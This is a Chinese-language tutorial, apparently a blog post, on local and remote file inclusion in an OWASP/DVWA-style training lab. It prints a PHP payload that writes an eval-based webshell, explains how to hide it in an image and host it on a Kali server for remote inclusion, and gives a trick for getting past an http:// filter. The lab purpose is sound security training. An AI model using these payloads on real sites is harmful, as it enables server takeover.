分为为本地文件包含和远程文件包含。在开发的PHP源码中会有使用多次的内容(类似c语言中的头文件和函数),所有的函数都要写在一个文件中,在使用时直接调用,即为包含。又因为在引入这些时,没有进行合理的校验,可能会引用含有恶意内容的文件。大致原理如下图。
1.本地文件包含(LFI)
low和medium时相同。
在调用本机的文件时,可能里面含有木马。
在OWASP靶机中,向靶机中先上传一个含有php一句话木马隐写的图片(制作隐写图片使用工具edjpgcom.exe,将要隐写图片托到工具上,在弹出的窗口中写木马),这时的本机中就含有了恶意的图片文件,上传图片后将上传成功的部分网址复制后进入文件包含漏洞页面访问(复制的内容加在page=的后面)。
访问后出现乱码的情况即上传成功,如同 上传的图片中包含的木马为<?fputs(fopen("shellbaohan.php","w"),"<?php eval($_POST['caidao']);?>")?>
意思为创建一个文件名为shellbaohan.php,并且写入<?php eval($_POST['pass']);?>的木马。这样就可以用菜刀连接。
2.远程文件包含(RFI)
low
调用的文件为其他网址中的内容,即page=后面为一个网址。
首先需要配置一个服务器,我将我的kali作为服务器,使用命令systemctl start apache2开启服务器,使用命令systemctl status apache2查看服务器的状态。
使用命令ip a查看kali的ip地址,可以在浏览器中输入该ip查看(仅是一个测试网页).
在kali机中,使用命令vim /var/www/html/yuan.txt写一句话木马,内容如下图
shell.php和caidao可以随便修改,保存时可以直接使用:wq!强制保存并且退出,但是如果现实权限不够时使用:w !sudo tee % 保存。这时kali作为远程的服务器,其中也含有了恶意木马文件。使用远程地址可看文件内容。
在文件包含漏洞的page=后面加上远程包含的文件地址访问,如下图
在OWASP靶机中进行如下操作
上图中,cd后跟要打开的文件位置, ls打开该目录下所有文件,more shell. php打开more后面文件查看。也可以使用菜刀连接,如下图
该地址为包含漏洞页面?前面的部分。
meduim
其他操作与low相同,但是看源码中会讲http://和https://改为空,所以需要使用hthttp://tp://的方法使其删除http://后重新拼接出http://进行远程文件包含。
high
在high中查看源代码如下
直接限制文件包含的名字,相当于直接将代码写死,需要注入木马。
OWASP文件包含漏洞总结
最新推荐文章于 2023-02-04 21:15:33 发布